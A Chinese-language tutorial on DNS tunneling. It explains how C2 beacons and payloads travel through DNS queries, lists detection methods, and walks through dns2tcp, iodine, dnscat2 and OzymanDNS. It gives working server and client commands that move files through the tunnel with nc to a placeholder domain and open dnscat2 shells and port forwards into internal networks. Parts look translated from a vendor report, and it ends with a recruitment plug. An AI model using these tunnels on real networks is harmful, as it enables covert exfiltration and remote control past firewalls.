DNS協議又稱域名系統是互聯網的基礎設施,只要上網就會用到,因而DNS協議是提供網絡服務的重要協議,在黑客進入內網后會使用DNS、ICMP、HTTP等協議隧道隱藏通信流量。本文通過DNS隧道實驗并對流量進行分析,識別DNS隧道流量特征。DNS Tunneling,是隱蔽信道的一種,通過將其他協議封裝在DNS協議中傳輸建立通信。因為在我們的網絡世界中DNS是一個必不可少的服務,所以大部分防火墻和入侵檢測設備很少會過濾DNS流量,這就給DNS作為一種隱蔽信道提供了條件,從而可以利用它實現諸如遠程控制,文件傳輸等操作,現在越來越多的研究證明DNS Tunneling也經常在僵尸網絡和APT攻擊中扮演著重要的角色。
一、寫給小白
DNS使用端口53,你幾乎可以在任何系統,防火墻和客戶端上打開并進行DNS查詢。DNS在我們的網絡世界中是一個非常重要的協議,它將長串的不適合記憶的IP地址映射成可讀性較強的字符域名。整個域名空間呈層次化的樹狀結構,頂層是根域,全球一共有13個根域。根域下為我們平常熟悉的頂級域,如.com,.net,.org等。域名的存儲、解析和管理都要通過域名服務器來實現。根據域名所屬域和授權范圍可以劃分Zone,Zone上的主服務器和輔服務器均被稱為權威域名服務器。權威域名服務器上保存了該域的所有主機信息。
DNS的記錄類型有很多,大家常見的有A,AAAA,CNAME,MX,SOA,NS等。DNS Tunneling可以利用其中的一些記錄類型來傳輸數據。例如A,MX,CNAME,TXT,NULL等。
DNS的解析過程可以分為兩種類型:迭代查詢和遞歸查詢。通常本機到Local DNS Server的過程屬于遞歸查詢,而Local DNS Server對查詢域名的解析過程屬于迭代查詢。為了減輕Local DNS Server的壓力,提高解析速度,引入了緩存機制。緩存和TTL緊密相連,當TTL過期,Local DNS Server則會丟棄緩存的數據,重新從權威域名服務器上獲取新的數據。這些查詢使用UDP協議,而不是TCP協議,所以它與TCP等效查詢具有更低的延遲,帶寬和資源。但是UDP沒有錯誤或流量控制功能,也沒有任何完整性檢查以確保數據完好無損。所以互聯網如何保證用戶瀏覽網頁,使用應用,聊天可靠呢?比如如果在一個實例中UDP DNS查詢失敗,大多數系統將在多次失敗之后,可能切換到TCP; 如果DNS查詢超出UDP數據報大小的限制,則也使用TCP 。DNS運行基本過程:客戶端使用特定類型發送查詢字符串(例如,在這種情況下為mail.google [。] com) – 通常為主機地址的A. 我已經跳過了中間DNS系統可能必須確定'.com'存在的部分,然后找出可以找到'google [。] com'的位置。
一般我們上網,無論是從搜索引擎結果轉移還是直接訪問網站,都會留下DNS查詢痕跡。留下的多少取決于操作系統,DNS服務器(特別是啟用了擴展或調試日志記錄的服務器)可以收集關于請求和客戶機請求的整個主機信息。可以從DNS服務器日志中收集的信息類型的一些想法; 操作此類服務器的管理員獲取遠程IP發送請求 – 盡管這可能是最后一跳或DNS服務器的IP,而不是確切的請求客戶端的IP – 以及查詢字符串本身,以及來自服務器的響應。
二、寫給老白
DNS Tunneling可以分為直連和中繼兩種。直連也就是Client直接和指定的目標DNS Server(Authoritative NS Server)連接,通過將數據編碼封裝在DNS協議中進行通信,這種方式速度快,但是隱蔽性比較弱,很容易被探測到,另外限制比較高,很多場景不允許自己指定DNS Server。而通過DNS迭代查詢而實現的中繼隧道,則更為隱秘,但同時因為數據包到達目標DNS Server前需要經過多個節點,所以速度上較直連慢很多。
UserA 和User B由于防火墻D的規則限制無法訪問外網,但防火墻上對于DNS的流量是放行的。當User需要解析的域名Local DNS Server無法給出回答時,Local DNS Server就會采用迭代查詢通過互聯網與各級域的權威服務器進行查詢,比如從com域的服務器得到test.com域的權威服務器地址,最后定位到所查詢域的權威DNS Server,形成一個邏輯信道。所以,我們可以將通信的數據封裝在客戶端查詢的請求中,當請求的數據包最終到達我們控制的權威DNS Server時,再從請求數據包中解析出數據,并將相應的數據封裝在DNS Response中,返回給Client完成通信。(Local DNS Server可以由Remote DNS Server代替,原理相同)
中繼過程中的一個關鍵點是對DNS緩存機制的規避,因為如果需要解析的域名在Local DNS Server中已經有緩存時,Local DNS Server就不會轉發數據包。所以在我們構造的請求中,每次查詢的域名都是不一樣的或者是已經是過期的。
對DNS載荷的編碼是DNS Tunneling的另一個核心技術。從高層來看,載荷只是客戶端和服務器通信的正常流量。例如客戶端發送一個A記錄請求給服務器,查詢的主機名為
2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中
2roAUwBaCGRuc3R1bm5lbGluZwo則是客戶端傳遞給服務器的信息,這串字符解碼后的信息便是dnstunneling。
最后,因為大多數場景下,內網的Client位于防火墻后,Server不可能發起連接。所以大多數工具,Client會定時向Server發送請求,保證二者之間的通信狀態。
C2通常有兩個目的。首先,它可以充當信標或心跳包,表明他們的遠程payload仍在運行(仍然有心跳 ) 因為它正在向服務器發送(通信)。您可以將基本DNS操作看作一個心跳包的示例。如果客戶端系統上的惡意軟件通過DNS反復向攻擊者的服務器發送查詢,則攻擊者可以從日志中判斷出肉雞正在運行。另一個示例,其中客戶端系統受到惡意軟件的攻擊,該惡意軟件正在構建通過DNS發送奇怪外觀的查詢字符串。像這樣的查詢仍然充當心跳指示攻擊者他們的payload仍然是活躍的,但是他們還提供關于受害者的一些基本元數據,并且重要的是,如何識別一個受害者。
用戶名和主機名可能并不能識別主機,但是系統確實具有通用唯一標識符(UUID)或其他屬性,這些屬性在組合時可以為創建唯一標識符。受感染主機的一些元數據可以作為純文本發送,但對于在DNS查詢中看到此類字符串的任何人來說,乍一看似乎更可疑。在許多情況下,數據將包含DNS不支持的字符,在這種情況下將需要編碼。您可以看到元數據的base64編碼等效項,它使用" – "分隔符號構造,用于在服務器端進行簡單的解析和解碼。
顯示了來自DNS服務器應用程序的原始DNS日志的示例,其中包含惡意軟件的查詢和DNS服務器的響應(在本例中為NXDOMAIN(或不存在域)的行條目。在某些方面,像這樣的日志,或者可能是包含來自它們的解碼記錄的小型數據庫,可以與僵尸網絡控制面板進行比較,控制面板允許黑客控制他們的僵尸系統。
Infiltration,相比之下,無論是代碼,命令還是二進制文件刪除磁盤和執行可能會容易得多,特別是使用DNS類型的TXT(而不是主機記錄類型A)。
TXT類型旨在提供描述性文本,例如服務詳細信息,聯系人姓名,電話號碼等,以響應對域名的TXT DNS查詢。
下面顯示了發送到惡意站點的相同查詢,但是,請求和響應上的類型現在是TXT,響應數據包含編碼的二進制可執行文件的前300個左右字符。可以由客戶端惡意軟件執行。再次,使用日志,攻擊者將能夠知道哪個客戶端要求Payload。
但是,惡意軟件如何知道將類型更改為TXT或何時請求"文本"數據?
在我之前的C2 DNS通信示例中,來自DNS服務器的響應是NXDOMAIN。此消息顯然會到達客戶端系統(和惡意軟件),并且可以用于Payload的消息或指令。
NOERROR,該術語暗示一切正常 – 您的請求已得到處理并且答案等待著您。使用NOERROR可以處理響應。通常這是IPv4(用于A類型請求)或IPv6(用于AAAA類型請求)或者它可以是TXT。一個簡單的例子 – IPv4地址響應 – 惡意軟件不需要實際的IP與之通信,不像您的瀏覽器詢問"google [。] com在哪里?"。
惡意軟件已使用C2 over DNS與其目的地進行通信。惡意軟件可以使用IP響應的是4,294,967,296個命令或指令中的任何一個。同樣這個非常簡單,IP的第 4 個八位字節中的特定值(例如100)可能指示惡意軟件向行動者的域發送TXT DNS查詢以收集和執行Payload。第一個八位字節中的值10可能意味著從操作系統和事件日志中卸載并擦除Payload的痕跡。從字面上看,選項是無窮無盡的,可能的復雜程度也是如此。鑒于攻擊者可以控制DNS服務器,并且某些DNS服務器應用程序或守護進程具有高度可配置性,因此可以根據從他們發送的請求將條件響應發送回受害者系統上的惡意軟件。例如,如果傳入查詢包含某個標志(字符)作為域名的第一個子域,則可以由在服務器上的DNS服務內運行的程序讀取,并向客戶端提供自定義響應。這可以用于惡意軟件自動處理一組任務,并相應地向受害者報告以接收他們的下一個任務。
三、實踐
DNS Tunneling從提出到現在已經有了很多的實現工具,歷史比較早的有NSTX,Ozymandns,目前比較活躍的有iodine,dnscat2,其他的還有DeNise,dns2tcp,Heyoka等。不同工具的核心原理相似,但在編碼,實現細節和目標應用場景方面存在一定的差異性。
目前已經提出了多種檢測技術,例如通過請求和相應包的大小進行監測,通常dns tunneling為了取得較大的帶寬,會選擇構造盡量大的dns請求和響應。還可以通過分析一定時間窗口內所產生的FQDN數,通常DNS Tunneling的FQDN數在一定時間窗口內會遠高于正常的DNS流量。另外在Detecting DNS Tunnels Using Character Frequency Analysis論文中,證明了還可以通過詞頻的檢測識別DNS Tunneling的流量。根據Zipf定律,在自然語言的語料庫里,一個單詞出現的次數與它在頻率表里的排名成反比。正常的域名也符合這個定律。而在這篇論文中,證明了DNS Tunneling中由于域名做了編碼,不符合Zipf定律,整個分布趨于平穩。另外很多DNS Tunneling使用TXT記錄類型發送請求和響
應,而在正常的DNS網絡流量中,TXT記錄的比例可能只有1%-2%,如果時間窗口內,TXT記錄的比例激增,那么也意味著存在異常。
權威DNS Server配置采用中繼模式工作,所有工具的基礎是需要配置一臺權威DNS Server。如果沒有公網域名可以從freedns注冊三級域名,不過有的地區好像不可用。
注冊完域名后,我們需要配置一個A記錄和一個NS記錄(也可以配置多個NS記錄)。
1.Dns2tcp
dns2tcp是一個利用DNS隧道轉發TCP連接的工具,支持KEY和TXT類型的請求,用C語言開發。它分為兩個部分,服務端和客戶端,服務端運行在linux服務器上,客戶端可以運行在linux和windows上(其他平臺沒有測試過),編譯完成后在服務端上的可執行文件名稱為dns2tcpd,在客戶端(linux)上的名稱為dns2tcpc,kali默認安裝了二者。下述為主要參數及解釋,詳情請參考手冊。
dns2tcpd
-F 強制在在臺運行,默認在后臺
-i IP address
監聽ip,默認0.0.0.0
-f 配置文件
指定使用的配置文件路徑
-d debug level
指定調試級別,輸出相關級別日志,默認為1,2,3
dns2tcpc
-c : 啟用壓縮
-z <domain> : 指定所使用的域名
-d <1|2|3> : 調試級別 (1, 2 or 3)
-r <resource> : 訪問的目標資源
-f <filename> : 配置文件路徑
-l <port|-> : 本地監聽端口
-T <TXT|KEY> : DNS請求類型,默認為TXT
配置文件
為了避免運行時指定太多的參數,可以通過指定配置文件來啟動服務端。示例如下:
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = <domain.com>
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:
127.0.0.1:3128,nc:127.0.0.1:2222
其中resource這個參數稍作解釋:
格式:<name>:<ip>:<port>
其中name為自定義標識,通常為本地開啟的目標服務名稱,ip如果是本機為127.0.0.1, 端口則為目標服務所監聽的端口,或者說服務端通過該端口將流量轉發給目標服務。例如希望在服務端和客戶端用nc來進行對接傳輸文件,我可以自定義nc:127.0.0.1:2222。
在客戶端不指定resource這個參數的時候,會列出對應server可以接受的資源。
服務端
dns2tcpd -f /etc/dns2tcpd.conf -d 3
nc -l 2222 > test.txt
客戶端
dns2tcpc -r nc -d 3 -z <domain.com> <server ip> -l 8888
nc 127.0.0.1 8888 < test.txt
在服務端開啟dns2tcp服務,強制在前臺運行,并設置調試級別,從而能比較清楚的看到服務端的日志。同時使用nc 在2222端口開啟監聽,將數據重定向輸出到test.txt文件。
客戶端通過制定nc資源,所使用的域名,目標dns server的ip,以及指定本地的8888監聽端口與dns server建立通信連接,同時也用nc訪問本地8888端口,并用test.txt進行重定向輸入。
通過在服務端和客戶端使用nc進行雙向對接,我們可以利用dns2tcp完成文件傳輸。
初步分析
通過抓包提取dns協議里的附件字段或者直接查看在客戶端打出的log,可以發現clent通過TXT類型記錄的域名前綴來發出數據,通過DNS RR中的TXT記錄來附加回應的內容。域名前綴和回應內容均采用base64編碼,如果提取單條數據,進行base64解碼,即可看到傳輸的內容。
從發包行為上可以發現,如果在進行傳輸數據這種大量數據交互操作的情況,dns2tcp會將數據切分成若干個小單元,依次發出,時間間隔非常小,而當無數據交互,空閑時,兩端仍然通過發包維持通信狀態,客戶端大約每隔0.6s發出一個狀態包。
從捕包的源IP和目的IP來看,dns2tcp并不是利用dns中繼進行通信的,而是直接和目的DNS服務器(服務端)直接通信。
2.iodine
iodine是目前比較活躍,知名度比較大的一個dns tunneling實現工具,平臺覆蓋范圍廣,它可以運行在Linux, mac OS X, FreeBSD, NetBSD, OpenBSD 和 Windows上,甚至還有Android客戶端,不過它需要安裝TUN/TAP。官方稱上行速度最大680 kbit/s,下行速度上限可以達到2.3Mbit/s。
官網上給出了安裝方法,可以通過make &make install安裝。另外,如果在centos 7上,我發現可以通過yum直接安裝。而在kali中,也可以通過apt-get直接安裝。
在iodine的測試過程中,我使用過3家公用dns,分別是阿里的dns-223.5.5.5,dnspod的dns-119.29.29.29,谷歌dns-8.8.8.8。阿里dns在中繼模式下無法指定NULL類型的查詢請求,而DNSPOD和google可以,且同為國內dns,阿里的速度不如dnspod,這個因具體網絡環境不同,國內兩家dns在中繼模式下傳輸3M文件,需手調參數,自動模式下很容易傳輸中途失敗。而谷歌dns速度明顯較國內兩家快很多,自動模式下即可輕松完成傳輸。
服務端:
iodined -c -P 123pass 192.168.99.1 <domain.com> -DDD
nc -l 1234 < test.txt
客戶端:
iodine -f -P 123pass <domain.com> -r
nc 192.168.99.1 1234 < test.txt
使用dnspod時,客戶端指定某些參數以完成整個傳輸
iodine -f -P 123pass <domain.com> -r -T CNAME -O base64u -m 512 -L0
iodine支持直接轉發和中繼兩種模式。客戶端和服務端建立通信后,可以看到客戶機上多出一塊名為dns0的虛擬網卡。iodine支持NULL,TXT,SRV,MX,CNAME,A等多種查詢請求類型,并且支持EDNS,支持base32,base64,base128等多種編碼規范。iodine在直連模式下,速度相當可觀,我試過建立隧道后,用ssh做代理轉發,可以流暢播放youtube 1080p,原理暫未分析。在中繼模式下,使用谷歌的dns,也是Dns Tunneling工具中速度最快的。更多使用方法和功能特性請參考官方文檔。
3.Dnscat2
Dnscat2的定位是一個封裝在DNS協議中加密的命令與控制(C&C)信道。它同樣是C/S架構,Client位于感染主機,而Server位于權威域名服務器上,如果沒有權威域名服務器,則可以采用直連模式。作者很堅持Dnscat2是一個命令與控制工具,并非像其他的DNS Tunneling工具一樣可以用來擺脫web收費驗證,免費上網。
Dnscat2客戶端基于C開發的,服務器端基于ruby開發。github官方主頁上給出了詳細的安裝步驟及可能遇到的問題,請參考github Readme。
在測試過程中,我原本使用的DNS是dnspod的公用dns,但是發現包傳輸出錯率較高,延遲大,可能由于我的vps在境外,所以改用google 8.8.8.8后,效果明顯好轉。可能因具體網絡環境而異。
服務端:
ruby ./dnscat2.rb <domain.com>
客戶端:
./dnscat2 <domain.com>
服務端建立好后,可以用如下命令測試Client是否能和服務端成功建立通信。
./dnscat --ping <domain.com>
Dnscat2服務端的是交互模式,作者說采用這種設計是受metasploit和 meteprete的啟發。而服務端的使用方法也確實和metasploit和meteprete的使用方法類似,所以大家應該不難上手。
客戶端和服務端建立通信后,就沒有客戶端什么事了,服務端此時處于交互模式下,作者為大家提供了很多windows來作為管理會話和連接的窗口,默認為主window,用windows可以查看目前有哪些window存在,每個連接都是一個獨立的window,window -i 1進入1號window,此時可以用help命令還查看都有哪些功能,如下所示:
clear delay download echo exec listen ping shell
其中,shell可以建立到對應客戶端的shell,download可以直接下載文件,不過需要注意的是download默認是將所有的數據先寫入緩存,最后一次寫入硬盤,所以在傳輸較大文件時,很長時間會發現沒有文件產生。
在window下有個listen的功能,它提供了端口轉發的功能,可以通過它直接滲透內網。使用方法類似SSH -L。
listen [lhost]:[lport] [rhost]:[rport]
以上傳文件為例:
客戶端A:10.211.55.1
內網某機器B:10.211.55.2
服務端(DNS)C: 172.16.18.2
此時,A和C已經建立連接。
服務端C命令:
listen [127.0.0.1]:2222 10.211.55.2:1234
nc 127.0.0.1 2222 < test.txt
客戶端A:
nc -l 1234 > test.txt
Dnscat2 默認是加密的,服務端可以通過–security=open關閉加密。可以提高傳輸的穩定性。
Dnscat2 還提供了多域名并發特性,可以將多個子域綁定在同一個NS下,然后在服務端同時接收多個客戶端連接。不過,沒有找到一個客戶端連接利用多域名通信的方法,不知道作者有沒有實現這個功能。
操作命令如下:
服務端
ruby dnscat2.rb --dns=port=53532 --security=open
dnscat2> start --dns domain=<domain.com>,domain=<domain.com>
客戶端:
./dncat <domain.com>
我試過 "./dncat –dns domain=,domain=",想在一個客戶端利用多域名通信,然而通過抓取流量分析,還是只用了一個域名。
Dnscat2 利用的DNS請求類型默認是TXT,CNAME,MX隨機混合使用,可以在運行時通過參數自定義。
4.OzymanDNS
OzymanDNS是較早的一個工具,它基于perl開發,我只在作者博客上找到了一個0.1版本,它的主要功能就是結合ssh做文件傳輸。請求類型是TXT,用base32編碼,響應用base64編碼。
OzymanDNS需要依賴其他的perl模塊,所以安裝的時候需要根據提示完成一些其他的依賴。
服務端:
./nomde.pl -i 0.0.0.0 <domain.com>
nc -l 1234 > test.txt
客戶端:
ssh -o ProxyCommand="./droute.pl sshdns.domain.com" -L 7777:127.0.0.1:1234 -Nf
user@host
nc 127.0.0.1 7777 < test.txt
客戶端使用了SSH -L 的端口轉發功能。
在示例的文件傳輸過程中,每16k寫入一次硬盤。Ozymandns的功能較單一,不如前幾個那么穩健強大。而且年久失修,只能作為一個參考,我在測試過程中,始終無法順利完成一個大于1M的文件傳輸。
四、結論
通過對四個工具的測試,Ozymandns是比較老舊了,功能單一,沒有實用價值。Dns2tcp采用直連,但速度不是特別樂觀,優勢在于kali直接集成了這個工具,部分linux發行版也都可以直接通過包工具下載,相對方便。iodine和Dnscat2則是目前的主流,Dnscat2提供了靈活的交互模式,而iodine則在編碼,請求類型上提供了更豐富的選擇,而且在速度方面,其他工具望塵莫及。
DNS是非常強大的工具,幾乎可以在任何地方使用,允許應用程序和系統查找與之交互的資源和服務。DNS提供了一個通信基礎,使更高級別和更強大的協議能夠運行,但從安全角度來看,這可能意味著它被忽略,特別是當您考慮通過電子郵件協議傳送多少惡意軟件或使用HTTP從Web下載時。出于這些原因,DNS是黑客的完美選擇,以利用來自受感染主機的通信。Unit 42已經看到多個惡意軟件實例及其背后的參與者濫用DNS以實現其目標,如本報告所述。無論是使用Palo Alto Networks的安全操作平臺還是開源技術,組織都可以通過多種不同的方式保護自己免受DNS隧道攻擊。
結語
從月薪3000到年薪35W,一個網絡安全行業的職場逆襲故事。想入行,可以私信我,發“入行”兩個字拿學習資料。#小白入行網絡安全#